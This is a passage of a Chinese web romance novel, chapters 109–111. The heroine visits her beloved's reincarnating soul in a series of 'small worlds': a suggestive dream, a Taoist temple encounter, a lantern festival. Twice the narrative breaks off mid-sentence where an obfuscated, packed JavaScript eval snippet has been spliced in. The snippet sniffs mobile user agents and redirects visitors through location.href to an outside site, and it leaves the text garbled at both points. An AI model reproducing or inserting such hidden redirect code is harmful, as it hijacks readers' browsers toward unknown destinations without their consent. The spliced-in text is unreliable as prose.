他不停地唤着她的名字:“清圆、清圆……” 一声一声,反反复复,包含万千情绪。 渴求、隐忍。 试探、放纵。 谢尽芜的目光灼灼逡巡过她身上的每一处肌肤,每一个表情。他听见自己逐渐控制不住的喘.息声,听见她细细的哼唧声,床榻晃动的声响甚至盖过了窗外的狂风暴雨。 然后,他听见自己嗓音低哑,很轻地哄她:“……清圆,再分开一些。” 又在学着她的语气,哄她似的:“好不好?” 她抓着他的手臂想要落泪,羞得脸颊脖颈都红透,忍无可忍地骂道:“谢尽芜,你……你就是个无耻的混蛋!” 谢尽芜掌心握住她的膝盖,力道不大,却刚好叫她无处逃脱。 他俯首,亲昵地贴了贴她的额头,应下了她的所有指责与怒气,轻声笑。 ——“是啊。” 杏花纷乱坠落。 谢尽芜浑身燥热地挣扎着醒来,身上薄薄衣物都被汗水打湿,像是刚从河里捞出来。 他喘息未定地在床上呆坐了片刻,勉强逼迫自己暂时忽略那梦境里的荒唐行径,才去打冷水换衣清洗。随后他坐在窗前,伴着料峭春风与黯淡星子,漠无表情地灌了一大壶冷茶,才终于压下心头的燥闷。 清圆?她叫清圆吗? 她与自己究竟是什么关系? 谢尽芜直觉这场梦境并非简单的“春梦”而已,因为太过真实了,所有的触感、气息与声音,真切得都好像他曾亲身经历过。 只是好像还少了些东西,少什么呢? 那时窗外该飘雪的,染了红梅凛冽香味的雪片,絮絮落在窗台上。 还有什么?暖炉上烘烤的橘子,发出阵阵清甜的香气,她应该懒洋洋地赖在躺椅里,捧着一本话本细细地读。 还有那云雾似的床帐,以及院子里的那方莲池。 一草一木他皆如此熟悉,仿佛所有的建筑与摆设,都由他所持的墨笔勾勒而成。 谢尽芜猛然回神,背脊霎时惊出一层冷汗。 为什么他会记得这些? 109. 小世界3(下) 叶清圆发觉今天的谢尽芜格外沉默。 窗边木桌照旧备好了一盏清茶,水雾氤氲。谢尽芜坐在长案旁,垂眸研究一本很老旧的医术,始终背对着她,不发一言。 也不曾回眸看她一眼。 叶清圆心生奇怪,背着手走过去打量他好久,却见他的视线虚虚落在纸张上,垂着睫不知在想什么,耳尖竟也漫出了薄红。 不过他本身眉眼生得冷,此时不笑也是冷肃漠然的模样,叫人看不太出来他其实是在发呆。 叶清圆茫然地想:今天的阳光是很明媚,可是也不热啊。 学个习而已,怎么还把自己学得脸都红了? 她张开手在他眼前晃了两下,清了清嗓子,故作严肃道:“怎么啦?让你念个书,怎么还发起怔来了?就这样的态度怎么能学习好呀?你看看人家邻居家的孩子,你再看看你!罚你今天晚上不许吃小零食了!” 话音落下,她自己先笑得乐不可支。笑过之后又不着边际地想,凭谢尽芜这股聪明劲,放在现代社会里或许也是妥妥学霸一枚。 谁料,谢尽芜竟是如有所感,蓦地直起腰向后一躲,避开她挥摆的杏白色衣袖,艰涩开口道:“……你此刻站在我的旁边吗?不要离我这么近。” 他皮肤生得冷白,手掌按在乌木桌面时,便与那深沉的颜色形成了鲜明的对比。 叶清圆一阵莫名其妙:“你可以如此清晰地感知到我的存在吗?连我站在哪里都知道?” 谢尽芜说完这句话后,便扭过脸去,像是有些别扭,有些不自在。 沉默再度蔓延开来。 叶清圆等了一会儿,见他不做声,便也偃旗息鼓,慢悠悠地坐回到竹椅里。 她的气息甫一离开,谢尽芜顿时松了一口气。 他的额头都沁出了薄汗。 竹椅的位置恰好晒到午后的阳光,叶清圆沐浴在温暖的日光中,却一脸怨念地盯着他的脊背,对他的疏远和拒绝感到不开心。 小混蛋。 等你出来后,我也不要理你。 不一会儿,叶清圆待得都有些无趣了,听窗外杏林发出簌簌的声响,像一道柔和的浪潮掀起,是大自然的催眠曲。 她趴在桌上,脸颊枕在臂弯,倦懒地昏昏欲睡。 春日午后的阳光明亮却不灼人,照在人身上暖洋洋的。远处还有洁白的杏花瓣在飘,静谧柔美。 草庐中,有静静的翻书声。 可喜可贺谢尽芜足足耗时一刻钟,终于读完了那一页。 虽然也根本没记住内容。 不知过了多久,窗外有鸟儿扑扇着翅膀离去,清脆的鸣叫声响起。叶清圆蓦地惊醒。 她揉揉眼睛,刚要伸懒腰,就见谢尽芜轻声开口:“你是不是每次过来都有时间限制?” ——这你也看出来啦? “你从未在这里待得超过半个时辰。”他鼓足了勇气试探道,“是有别的事情要忙吗?” “如果没有要忙的事情,你这次……可以多待一会儿吗?” 叶清圆将睡得红红的脸颊从臂弯抬起,略有惊讶地望着他。 ——咦? 谢尽芜抬起眼眸,静静地看向她坐的位置。在他的视角中,木桌旁其实空荡荡的什么都没有,那杯热茶也早已冷掉了。可他望过去的目光却依旧温和有力,暗含期冀,落在叶清圆的身上如有实质。 一如他们曾经真切对望过的无数个时分。 叶清圆的倦意一下子消散了,惊讶地说不出话来。 谢尽芜变了,真的变得好多。 他还在小世界里,按理来讲是不应该对自己产生这些情愫与不舍的。 恰在此时,系统的提示声如约而至:“半个时辰就要到了,宿主请尽快离开吧。” “嗯?哦,好。” 叶清圆满心的疑惑,起身理了理云雾似的裙摆,慢慢走到草庐门边。 在她走过去的时候,谢尽芜的殷润目光就这么追随着她的“身影,”一瞬也不舍得眨眼,神情竟还有些失落与无措。 他起身追上来,声音里染了慌乱:“你要走了吗?” “是呀,我最多只能在这里待半个时辰。” 叶清圆最后深深看了他一眼,略有心酸地纵身离开。 谢尽芜神色一变,快步追出草庐。 那阵没来由的风卷起杏花纷乱如雨,而后迅速消逝。 - 无事山居,莲花池畔。 叶清圆探身剪掉一片翠绿莲叶,准备今日的晚膳就做荷叶糯米饭。 系统的莹蓝光球浮在她的旁边,略有些激动道:“这绝对不是系统出问题了,系统根本做不了主,一定是蕴灵珠的错!谢尽芜怎么可能会感知到你的存在呢?!” “可事实就是这样呀,你不是也看到了吗?”叶清圆也疑惑,“他连我站在哪里都知道。” 系统沉默。 片刻后,它才犹疑着出声:“或许,这既不是系统的问题,也不能怪罪于蕴灵珠。” “嗯?怎么说?” “在蕴灵珠中,谢尽芜虽然是处于无忧无惧、无爱无恨的状态,可他的心海中仍旧保存着生前的意志与执念,只不过这些东西都被蕴灵珠强行封闭住。因为他毕竟要从头再来过,魂魄也需要滋养,这个过程是不可以被外界过多干扰的。” 叶清圆颔首。所以她进入小世界时才会有至多半个时辰的时限,就是为了不给谢尽芜的魂魄滋养造成任何影响。 可谢尽芜为何还是受到了影响? 系统继续道:“所以谢尽芜如今的种种变化,并非是宿主给他造成的干扰所致。而是,当他的意志与执念足够强的时候,或许就可以挣脱蕴灵珠的束缚。那些过往的记忆与对宿主的……情愫也会被逐渐唤醒。” 叶清圆捧着莲叶,眼睫颤颤。 挣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14991632|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱蕴灵珠的束缚,情愫也会被逐渐唤醒……吗? “换句话说,是宿主在谢尽芜心中的分量太重。以至于他就算身处凭空虚造的小世界里,全无记忆与过往,却仍旧下意识地爱你。” “……这样吗。” 叶清圆阖上眼,新摘的莲叶上水露莹莹。 系统:“系统观察了一段时间,发现谢尽芜的这种变化会随着小世界的发展而越来越明显。” 终日阴雨的江畔,他只是察觉到有人曾进入过他的竹屋,这个人的气息让他感到莫名的熟悉与安心。本来设下的禁入咒文,也被他亲手抹去。 而在杏花林的草庐中,谢尽芜不仅察觉到了她的存在,还能敏锐地感知到她处在什么位置,是站是坐,何时到来,何时离开。自那场荒唐又放纵的梦里醒来之后,他的脑海中甚至不受控制地闪过了关于晴雪院的细碎片段。 系统猜测道:“或许在下一个小世界里,谢尽芜还能听到宿主说话呢。宿主,请大胆发挥你的社交小达人属性,勇敢说,大声说!” “这个笑话一点都不好笑。”叶清圆的眉目间有担忧,“会给他带来不好的后果吗?” “或许会加快他蕴灵的速度,宿主也可以早一点见到他。”系统问,“这样的后果算是不好的吗?” 叶清圆忍了片刻,还是被它逗笑了。 她又偏过头,发间的花簪流苏碰撞出动听的声响,道:“你最近很闲哦?总是跟着我。” “不闲,我其实很忙的,日理万机。至于为什么总是跟着宿主呢……” 系统诚恳道:“因为你是我成为系统以来,遇到的第一个严重违反规定,却没有受到任何惩罚,仍旧活得很自在的人啊。” 还不是谢尽芜非用那个转玄三术,强行将她留在了这个世界。 叶清圆眨了眨眼,又听系统说:“谢尽芜也是我遇到的最会玩禁术、最懂得卡bug的人。说实话,我真的很好奇你俩到底能玩出什么结局。” 太阳要落山了,温度降下来。 从去年的凛冬到此刻的夏末,不知不觉地,叶清圆竟已经等了他九个月。 曾经那么煎熬不堪,如今也终于看到了希望。可见人活在世上还是要有愿望的,万一实现了呢? 就像那时在千花河畔,她偷偷写在纸条下方的一行小字。 叶清圆笑着掬起一捧水,泼在亭亭而立的莲叶丛,溅起无数晶莹的滚珠。 随后她起身,捧着摘好的莲叶走向厨房,步伐轻快,棕色的发梢在余晖下泛出金色的光芒。 金霞漫天,漂亮得像是青蔓镇、金璧城、冽雪山的那一轮静谧而浩大的落日。她的眼中又露出那样灵动的、娇俏的笑意:“这还用问吗?我们一同经历过这么多风雨——” 她的声音清脆而柔和,像是述说一件不存在任何疑问的、再自然不过的事情。 “今后也自然是永世相伴,生死不弃。” 110. 小世界4(上) 小世界里云雾缭绕,湖水澄澈,微波柔旖。 叶清圆循着系统的指引,沿浅色的石子路慢慢走,片刻后,竟是走到了一处大门紧闭的道观外。 咦? 这个小世界里的谢尽芜,竟然是道士吗? 她颇觉有趣,想着来都来了,非得进道观近距离看他一眼才行。于是下意识地朝着墙壁走去,想要穿墙而过。 ——反正她在蕴灵珠里也不过是灵体般的存在,穿墙透壁也是平常。 谁料,在她靠近墙壁的瞬间,系统忽然发出提示:“宿主止步!” 叶清圆疑惑:“怎么了啊?” “宿主,请触摸一下墙壁。” 叶清圆闻言,抬手按在墙壁上,触之冷硬,惊讶道:“我可以碰到这个小世界里的东西了?” 这样一来,想要直接穿墙进去的办法也不可行了。 一墙之隔的道观内,隐约传来说话声和扫地声。叶清圆看了看周遭,踩着石墩爬上了院墙外面一棵僻静的栾树,矮身在枝桠间坐稳。 这株栾树生长得很是繁茂,花叶相映,恰好她今天穿的也是一身浅粉色衣裙,因而完美地隐在了暗香涌动的枝桠间。 她抬手拂开遮挡视线的花枝,抬眸往道观中看去。 这道观还不小,铺着三尺见方的青砖,殿前炉中青烟袅袅,檐下挂幡随风轻摆。院子里有棵很茂盛的银杏树,树冠如盖。 谢尽芜着一身青色道袍,乌发挽髻,正拿着扫帚在院子里打扫。 他今年十八岁,依旧是冰雪般干净莹润的少年。 叶清圆坐在树枝上认真看他,发现眼前之人无论是相貌还是神情,都已经和她相识的那个谢尽芜没什么区别了。 这是否也代表着,道观将是他经历的最后一个小世界? 好神奇,她竟是在这些景貌各异的小世界中,旁观了谢尽芜从稚气小孩慢慢成长为清隽少年的各个阶段。 恰在此时,道观外隐约传来说话声。 叶清圆转头看去,是几个锦衣少年,说说笑笑,众星捧月似的簇拥着当中一名玉面少年。 这少年身穿锦袍玉带,相貌年轻却言语轻佻,像是哪家不学无术的公子。 旁边有人打趣道:“泽坤兄,你可快进去上两炷香,保佑那位怜香妹妹快些有了身子,这样,你才好去求你母亲,将她塞进府中做妾室啊。” 宋泽坤漫不经心笑道:“做了妾室又如何?等孩子生下来,她还不是要被我娘打出去?” “啧啧啧,这话说的,你们家里办事也太不厚道!人家姑娘为你诞下子嗣,你们却要卸磨杀驴?” “本来就是出身卑贱的丫头罢了,还能指望给她什么名分?”宋泽坤道,“我娘不许我胡闹,贱内又是个善妒小性的,若真让怜香进了门,怕不是叫她们欺负死!” 这几人言语中满是嘲讽与蔑视,叶清圆听得忍不住直皱眉。 一行人吵吵嚷嚷地进了道观,霎时扰乱了方才的幽僻静美。 院子角落,谢尽芜始终低着头打扫落叶,规律平稳的刷刷声响在清幽的道观中。 为首的宋泽坤无意中一瞥,却是一眼瞧见了他,蓦地愣住,随即转头对身后的狐朋狗友们大声嗤笑道:“看见没?这破道观能维持下去还不是要靠我们这些香客出钱?花着我们的银子,结果连个招呼都不打,笑话!” 他自小跋扈惯了,此刻见谢尽芜不搭理他,自然是觉得不悦。可见,人与人之间的恶意有时就来得如此轻易。 旁边一人此时也瞧清了扫地之人的相貌,附和道:“就是就是,我都来这里好多次了,次次都撞见他在这里拿着把破扫帚扫地,一个字都不说。这人也真是奇怪哈,成日里跟一堆烂树叶子较什么劲?” 话说到这个份上,已经是故意挑衅。叶清圆坐在树桠上,单是听见这话都忍不住有些生气。却没想到谢尽芜依旧低着头认真打扫,对他们方才的言语恍若未闻。 宋泽坤自觉颜面受损,当即就恼了:“喂,你听不见我们说话是不是?” 谢尽芜没吭声,“哗!”地将落叶都扫在一起,力道极稳。 “嘿,你故意惹少爷生气是不是?”宋泽坤跟个炮仗似的一点就炸,当即就撸着袖子要来干仗。 他家中巨富,显然是这帮纨绔子弟的领头,他一动,身后立刻呼啦啦追来一行小跟班。 宋泽坤冲在最前头,趾高气扬,抬脚就朝着谢尽芜手中的扫帚狠狠踩去。谢尽芜转身避过,旋即后撤,衣袖翩飞间,已经与他扯开半丈远的距离。 宋泽坤一脚踩了个空,脚底狠狠跺在冷硬的石砖上,腿瞬间就麻了,还要顾忌着在小弟面前的勇猛形象,死死忍着不吭声,憋得脸都红透。 反观谢尽芜,却是神色淡淡垂着眸,继续扫地。 宋泽坤怔了一瞬,脸上显出怒意,正要再给他一击,他身后一名小跟班忽地凑过来,低声提醒道:“泽坤兄,这好像是连枝姑娘提起过的那个小道士啊?” “什么?”宋泽坤闻言,眉心蹙得更紧,“你是姓谢吗?” 一阵微凉的秋风吹过,树枝沙沙作响,地面霎时又落满一层枯叶。 谢尽芜的视线在那永远扫不干净的砖道上凝了片刻,终于暗叹着抬起眸,大发慈悲地施舍给众人一点目光。 他的眼瞳幽邃漠然,浅红的唇微抿着,“嗯”了一声。 方才众少年们并未仔细瞧他的脸,此时他抬起头来,众人才蓦地一顿,心中暗暗惊叹。 难怪就连眼高于顶的连枝姑娘也常念起这小道士,说他相貌生得好。彼时众人嬉笑着摇头根本不信,说连枝姑娘定是叫那道观里的香雾迷了眼睛糊了心,才夸起一个仅有一面之缘的出家人来。 莫非他能比宋泽坤生得更好吗? 如今亲眼一见,这帮少年立刻老实。 相貌生得确实好,太容易叫人心生爱慕,或者滋生妒恨。 不怪连枝姑娘总对他念念不忘。 宋泽坤的目光在他面上打量一圈,不屑哼道:“你与连枝姑娘是什么关系啊?” 谢尽芜眉心轻蹙,似是不耐:“诸位找错人了,我不认识这位姑娘。” “不认识?”少年们群情激愤,“既然根本不打算负责,那你当初为何要招惹她?!” 谢尽芜的眉头皱得更紧。少年们很快将他围堵在中心,状似要动手给他个教训。 隐在栾树枝桠间的叶清圆听了这一番话,惊得快要掉了下巴。 这都什么跟什么呀? 道观的院子里,四五名少年将谢尽芜围堵在银杏树旁,端的一副挺身而出为红颜的架势。 “莫名其妙。” 谢尽芜还拿着竹枝扫帚,眉眼冷漠阴郁,只想扫地。 忽然,身后一名半大少年忽地上前半步:“你才莫名其妙!” 说罢,抬手就要朝他打去。谢尽芜察觉到掌风,低头一避,同时拂袖在他脊背轻轻一推,这少年的巴掌搅动秋风落叶,“啪”地打在了宋泽坤的脸上。 巴掌清脆,雀鸟惊飞。 宋泽坤:“……” 打人少年:“……” 其余众人:“…………” “你疯了?!打我干什么?” “我没有哇!” 谢尽芜低眉敛目,不急不缓,竹制的扫帚被他握在手中,连扫地都扫出几分仙气来。 他淡声道:“诸位敬过香就快些离开吧,待会儿青池道长就来了。” 宋泽坤捂着脸还要再说什么,眼角余光却瞥见正殿走出一鹤发长眉的青袍老道,目光如炬地盯准了他,吓得他浑身一个激灵,乖乖跑去敬香。 他爹娘都对这青池道长敬畏得很,若被发现他在此仗势欺人,怕不是又要收拾他。 宋泽坤立刻换好一副笑呵呵的面容:“今日相谈甚欢。这样,鄙人就过去敬香,等来日有空,咱们再好好聊一聊如何?” 谢尽芜眼皮都没撩起,扫帚“唰!”地擦过青石砖,一袭枯黄落叶卷至银杏树下。 宋泽坤皮笑肉不笑地“哈哈”两声,尴尬至极。一行少年勾肩搭背地走入正殿,身影旋即被袅袅的青雾遮掩住了。 院外的栾树枝桠间,叶清圆默默收回了想要相助的手。 她支着下巴,笑吟吟地看向认真打扫的谢尽芜。 这个小世界里的他已经恍惚是他们初识时的模样,沉静寡言,漠然疏离,眸光冷如寒冰。 这些挑衅的少年们仿佛根本不配他出手,他自始至终连正眼都不曾给。 叶清圆思索着靠在树枝上,倚动花枝摇颤,簌簌轻响。 她不经意地望向道观的银杏树,却恰逢谢尽芜闻声抬眸,去看那阵纷乱的花雨。 正如那个春光明暖的杏林里,花瓣飘飞,燕雀振翅。 谢尽芜站在树下,眸光明亮凝视她许久,随即垂眸,唇畔露出一抹极淡的笑意。 - 叶清圆发现这个小世界里的谢尽芜可以看到自己,她终于是一个“真实存在”的人。 “其实,我们认识很久了。”叶清圆笑盈盈地眨眼。 反正谢尽芜在小世界里的记忆都不连贯,随便她怎么说都无所谓。 月光清亮,道观外树影婆娑,木凳微凉。 谢尽芜听了这话后,惊讶得眼眸大睁,紧抿的唇泄露了他此刻的紧张与难以置信。 “本来我们约好要一起游历四海、除祟捉妖的,”叶清圆仰头看月亮,笑意灵动而明媚,“可惜呀,你竟然不记得我了。” 她坐得靠后,小腿悬着轻轻地晃呀晃,绣了莲叶和锦鲤纹的裙摆也随动作绽开,真如万点波光的池面,荡漾出一幅生动漂亮的莲叶锦鲤图。 谢尽芜浓睫低垂,神情是茫然中带着些许纠结。 片刻后,他才若有所思道:“我没有十七岁以前的记忆。” 叶清圆转头看他:“一点都没有?那你是怎么来到这座道观的呢?” “青池道长救了我,”谢尽芜轻声开口,“在悬崖底下。” 叶清圆点点头:“这样啊。” 蕴灵珠竟还懂得利用失忆梗来让情节变得合理呢。 谢尽芜静默一瞬,轻声道:“既然你我相识,那你可知我从何处来?” “啊?你真信了呀?” “为何不信?” 叶清圆讶异:“你是第一次见到我呢,对我就没有一点防备心吗?” 谢尽芜被她这么一问,才像是慢半拍地考虑起这个问题。他淡声道:“没有。” 叶清圆一怔,低头轻轻地笑起来。 “这个问题,我该如何跟你解释呢。”叶清圆斟酌着措辞,“你来自一个很远的地方,因为遇到了一些棘手的事情,需要在这座道观里修行一段时间。” 她三言两语将情况说明,为了避免不必要的麻烦,没有提到半点关于蕴灵珠和滋养神魂的细节。 “你是被牵扯进来的么?”谢尽芜看着她,“这里是否有危险?” 叶清圆很意外他竟然跳跃到这个话题上,笑着摇头:“应该没有什么危险吧。” 谢尽芜没吭声,过了一会儿才问:“你住在何处?” 他怎么都不关心一下自己的处境? 这时候不该追问到底,他究竟来自何处,遇到什么棘手的事情吗? 为何他在乎的都是关于她的问题? 叶清圆也不再提,笑道:“不远,就在城里的客栈。再待上一刻钟,我就该回去了。” 谢尽芜颔首:“嗯。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14995367|154043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的眸光比平时都要柔和,心中出现了某些连他自己都无法理解的变化。 微风忽起,头顶的栾树花叶随之轻摆,在地面上投下如水波般清浅的影子。 叶清圆笑意盈盈地和他说起无事山居的日子: 她近日又领养了一只猫,是漂亮又温顺的三花; 莲池里的锦鲤好像瘦了一些,终于从圆形瘦成了椭圆,这要归功于她在想办法减缩鱼粮的投喂。 还有白璟,还有许雁含。 叶清圆笑着说:“也不知道你会和那两只猫相处得怎么样呢。不过你放心,它们都很温顺的。” 绘声绘色,语笑轻轻。她的眸光明亮而柔和,像是天上星,说起得意处眉梢还会挑起一个微妙的、可爱的弧度。 谢尽芜目不转睛地看着她。 好熟悉的笑意,月也清亮,风也温柔。仿佛在他失去记忆的过往岁月里,他也曾无数次这般沉默地、满怀欢喜地望着她。 叶清圆察觉到他的出神,伸手在他脸前晃了晃:“总是看我干什么?我脸上有东西呀?” 谢尽芜下意识就捉住她的手,几乎是肌肉记忆地就凑到唇边要吻。 很快又自觉失态,松开她的手,低声道:“抱歉,是我冒犯了。” 叶清圆眨眨眼,见他确实一脸歉疚自责,也不再故意笑他:“原谅你。” 恰好系统的提示响起,她起身,拂了拂被风吹得缭乱的裙摆衣袖,和谢尽芜道别:“时间到了,我该走啦。” 谢尽芜也站起来,那双乌黑殷润的眼眸定定地看着她。 他口是心非:“好,再见。” 其实很不舍。 晚风将落花拂起,在青石砖地上刮出轻柔温和的声响。 谢尽芜轻声问:“什么时候还能再见面?” “明天。还是这个时候,我来找你,好不好?” 谢尽芜漆黑的眼睛望住她,点头:“好。” 又补充:“每天都是这个时候吗?” 她只答应他明天会来,还不曾提起每天。 得寸进尺,仿佛是他天生就熟练掌握的技能呢。 叶清圆状似无奈地笑,好骄矜:“唉呀,既然你都这么问了。那好吧,每天都是这个时候,在这个地方。” 谢尽芜道:“我们见面。” 叶清圆笑了:“嗯。” “好。”他很满意。 叶清圆也同他说了再见,随后转身离开,拐至花树丛中的阴影处,身影逐渐消失。 谢尽芜一直站在栾树下,目光一瞬不转地看着她离开的身影。直到她身影消失,才依依不舍地收回目光。 清冷的月光透过枝桠,将他高大的身影映照得很是落寞。 他很喜欢听她说话。 不知她下次是否还会如今日这般,喋喋不休? 翌日晚,果真还是叶清圆笑盈盈地说,他眸光温和地听。 后来某次,叶清圆再来的时候,察觉到每次都是她自己在讲,像是单口相声,却很少听谢尽芜说起过什么。好不公平。恰好她白天去了山下城镇逛街,累得不行,便将说话的机会交给了他,自己则是饶有兴趣地支着下巴,望着他。 谢尽芜清咳道:“我的事情对你而言,或许会有些枯燥。” 他很是简短地将自己在道观的事情讲完,实在无话可说,便念起经文来。 叶清圆:“……” 听不懂,睡了。 谢尽芜念了没几句,肩头一沉,就见一个毛茸茸的脑袋抵了过来,她发间的清香萦绕鼻端。 他整个上半身都僵住了,本该立刻推开她的,可手臂伸出一点,却是又收了回来。 她的气息喷在他颈间,热乎乎的,手掌摊开,随意搁在两人之间。一片花瓣落在她的手心。 谢尽芜垂睫看了一会儿,替她将花瓣拈走。她觉得痒,细白的手指动了动,无意间便抓住了他的指。 谢尽芜眨了眨眼,握住她的手,十指相扣。 或许是感知到熟悉气息,也或许是白天逛街太累了。叶清圆的脑袋埋在他颈窝,很快睡熟。 半个时辰后,系统的提示音响了好几遍,叶清圆才悠悠转醒。 她揉了揉眼睛,入眼就见自己的右手被他牢牢握着。她悚然一惊:“谢尽芜!” 谢尽芜故作淡然地“嗯”了一声,“醒了?” 叶清圆连忙将手从他掌中拽回来,低声道:“注意点!这不符合你的身份!” 谢尽芜:“好。” 叶清圆坐端正了,脸颊在他的颈窝枕出红印,还热着。 谢尽芜盯着她的脸看了一会儿,却听她张牙舞爪地警告道:“以后不许再这样!” 谢尽芜没答,却道:“明晚这里有灯会。” 叶清圆反应一会儿,才眨眼道:“你在邀请我吗?” “是,”谢尽芜漆黑的眼眸定定地望住她,“你想去看吗?” 叶清圆挑着眉笑,没说话,是有点犹豫的样子:“明晚啊……” 她偏过脸,抬眸去看头顶浅红的花瓣,又看树枝,就是不看谢尽芜。一双大眼睛里盛满了碎星,好骄矜,好傲气,勾得谢尽芜心都痒了。 谢尽芜原本与她并肩坐着,此时就被她勾得身体不自控地前探,目光追逐着去寻她的脸,忐忑而期冀,“明晚,你去吗?” 叶清圆忽然发现个很好玩的点。那就是不管她的目光怎么飘忽,谢尽芜都像是较劲似的追过来,执着地非要与她四目相对,两人一躲一追地玩了半天,都憋着笑。到最后是谢尽芜先忍不住,掌心扣在她的肩膀,将她身子扳过来,终于看清她那双含笑的眼睛。 叶清圆抿着唇笑。 谢尽芜温声道:“去吧,我们一起看花灯。” 111. 小世界4(下) 灯烧如昼,火树银花。 江畔行人热闹,天幕星月高悬。 谢尽芜走在叶清圆的身旁,很克制地与她保持着一段距离。 “听说今晚有灯会,人们会将自己的愿望都写在纸条上,放入莲灯里。河水会带着他们的期冀与祈盼慢慢漂流到远方,将他们的心底所求告知于神明。” 他的声音清越好听,如春水般醉人,殷润黑亮的眼眸倒映着璀璨灯火和漫天银河。 叶清圆笑道:“你想放灯吗?” 江畔有卖各式零嘴的小摊贩高声吆喝着,谢尽芜顿住脚步,很认真地看着她:“你有愿望吗?” 叶清圆眼珠一转,脑海中想起当初在千花河畔时,谢尽芜那副落寞又别扭的模样。 她挨在他身边,轻声笑道:“世上根本就没有神明,这些愿望本就是虚妄的自我慰藉,毫无用处。” 是他的原话。 叶清圆就想知道他这次会怎么答。 未免被路过的行人听到,她特意凑在他耳畔讲。谢尽芜垂着眼睫,只觉耳尖和脖颈有阵阵热气涌上来,小火苗似的烧进他的心里。 默不作声地撤开一点距离,谢尽芜却不这么认为。 他轻声道:“许一个愿望吧,纵使这世上没有神明。” ——我会为你实现所有。 他看着她那双漂亮的眼眸,在心里悄悄补完了后半句。 叶清圆讶异于他的变化,挑眉笑道:“好啊。” 她从摊主那里买了两盏莲灯,依旧是将纸条放好,提笔蘸墨。只不过这一次,她想先看看谢尽芜有什么愿望。 谢尽芜对上她望来的目光。 “我在这世上无牵无挂,对自己也不必有什么祝愿。”他艰涩开口,“唯一相识,便是叶姑娘。” 他口中的“叶姑娘”略有迷茫地眨眨眼,不明白这个小世界里的谢尽芜开窍居然这么快。 语毕,谢尽芜提笔悬腕,皙白修长的手指覆在墨色的笔杆上,愈发衬托出一种冷淡克制的美。 叶清圆的目光不经意落在他手背微微浮显的筋络,还有腕侧突出的一点腕骨。 一声轻响,谢尽芜搁下笔,字条摊开在初秋的晚风中,墨迹未干。 “什么呀?”她凑过去看,“祝叶清圆——” 连名带姓,精准祝愿。 “此生……”她的声音很轻,“长乐无忧,所念皆成。” 不是什么宏大的愿望,却是他内心深处的迫切而质朴的祝愿。 “叶清圆,”他浓秀的眼睫剧烈颤抖着,鼓起所有的勇气看向她,“我并非那般擅于言辞之人,可是对你,我却觉千言万语也不够。” 分明相识还不到一个月,爱却像是潜藏在心底深处的暗流,伴随着心脏的每一次跳动,血液的每一寸流淌,悄无声息地汇入他的四肢百骸,成为他本能的一部分。 人群熙攘,明亮盛大的烟花在澄澈天幕一瞬炸开。 叶清圆的脸颊泛起红,低头笑道:“嗯,我知道的。” “所以你的想法是?” “我等你呀!” 从日出到日落,从凛冽的寒冬到萧瑟的深秋。 “不过呢,你不可以叫我等太久。” 她已经等了一年。去岁的寒冬太过凄冷,无事山居需要两个人一起居住,才称得上“无事小神仙”。 “好,我明白了。”谢尽芜眨了眨眼,“我不会让你等太久的。” 叶清圆笑得眉眼都弯成了月牙:“说话算话,不许失约!” “既是你我之间的约定,我永不会失约。”谢尽芜满腔欢喜略有羞涩地看着她,提醒道,“那你的愿望呢?” “我的愿望啊,”叶清圆笑,“我的愿望很快就要实现了,不需要再写一次。” 再? 谢尽芜眼中的笑意瞬间黯淡下去。 “你,曾经与别人一起放过莲灯吗? 叶清圆想了想,没办法把真相告诉他,难道要说是和你一起放的莲灯吗? 她只道:“不是别人。” 谢尽芜不再问了。看来她与那人的关系曾经很亲密,都“不是别人”了。 他们将字条塞进莲灯里,放在微波荡漾的河面轻轻推出去。 谢尽芜眼中笑意寥落,随即眉目冷肃地想:无妨。 反正她现在是与我有了约定。 若那人胆敢再次打扰她,他也不介意亲自动手,给他一个铭记终生的教训。 叶清圆抬头,见他神色严肃,就知道肯定又是在想些奇怪的东西,笑道:“你猜那个人是谁?” 谢尽芜回过神来:“嗯?” “是你呀,”叶清圆的眸光很亮,笑道,“当然是和你一起放花灯。” 谢尽芜的眼睫颤动:“可是我不记得了。” 话音未落,他已感到落寞。 失忆也并非这一两天的事情,他从前都不觉得如何,因为并不把这件事放在心上。就算过往全部遗忘,他也无所谓。 可是此刻,他竟是无比憎恨自己的失忆。 旁边有小孩子笑着跑过去,未免她被撞到,谢尽芜下意识地攥住她的手腕,将她拉过来。 下一秒,又很快松开她的手腕,仅是抓住她的袖口。 “小心些。” 叶清圆点了点头,继续方才的话题:“不记得也没关系。就是因为不记得,所以我才要和你一起放花灯啊。你忘记的事情,我们都要再做一次。” 她笑着抬起头:“好不好?” 清脆而明亮的嗓音,一如往昔。 谢尽芜眼底的阴霾逐渐消散。 他注视着她,薄红的唇角牵起一点弧度:“好。” 从江畔走到道观,要经过一片清幽的棠花林。 “春日棠花盛开的时候,景色会很漂亮。” 谢尽芜不动声色地与她拉近了距离。漫步时,两人的手背时不时就要触碰在一处,却默契地避开。 谢尽芜其实是很想牵手的。可叶清圆一想起那僻静幽肃的道观就心里发怵,更生不出半点旖旎的心思。 “若你喜欢,我们以后可以每天都来看。” 终于到了那棵遮天蔽日的栾树,叶清圆在木凳坐下,笑道:“算了,你快些来找我才是,我们还要一起过春天。” 谢尽芜的步伐顿住,随即也挨着她坐下了:“我该去哪里找你?” 